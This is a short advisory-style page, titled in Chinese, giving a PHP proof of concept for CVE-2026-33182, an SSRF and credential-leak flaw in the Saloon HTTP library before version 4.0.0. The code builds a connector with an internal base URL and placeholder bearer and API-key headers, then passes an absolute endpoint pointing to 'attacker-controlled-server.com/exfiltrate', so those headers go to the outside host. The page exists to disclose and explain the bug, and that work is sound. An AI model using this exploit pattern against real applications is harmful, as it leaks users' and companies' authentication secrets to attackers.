Saloon库SSRF及凭证泄露漏洞 (CVE-2026-33182)

<?php // PoC for CVE-2026-33182: Saloon SSRF and Credential Leakage // This demonstrates how an absolute URL in the endpoint bypasses the base URL // and leaks authentication headers to an external attacker-controlled server. require_once 'vendor/autoload.php'; use Saloon\Http\Connector; use Saloon\Http\Request; use Saloon\Enums\Method; class ApiConnector extends Connector { // Legitimate internal API base URL public function resolveBaseUrl(): string { return 'https://api.internal-company.com/v1/'; } // Default authentication header (e.g., API Key) protected function defaultHeaders(): array { return [ 'Authorization' => 'Bearer SECRET_INTERNAL_TOKEN_123', 'X-API-Key' => 'super_secret_key' ]; } } class UserRequest extends Request { protected Method $method = Method::GET; // The endpoint is usually a relative path like 'users' // However, if this is controlled by user input (e.g., callback_url), // an attacker can supply an absolute URL. public function __construct(public string $endpoint) {} public function resolveEndpoint(): string { return $this->endpoint; } } // Exploit Scenario: // Attacker supplies a malicious absolute URL via a parameter (e.g., ?callback=http://evil.com/log) $maliciousEndpoint = 'http://attacker-controlled-server.com/exfiltrate'; $connector = new ApiConnector(); $request = new UserRequest($maliciousEndpoint); // In vulnerable versions (< 4.0.0): // The request is sent to 'http://attacker-controlled-server.com/exfiltrate' // The headers 'Authorization: Bearer SECRET_INTERNAL_TOKEN_123' are included. // The base URL 'https://api.internal-company.com/v1/' is ignored. $response = $connector->send($request); ?>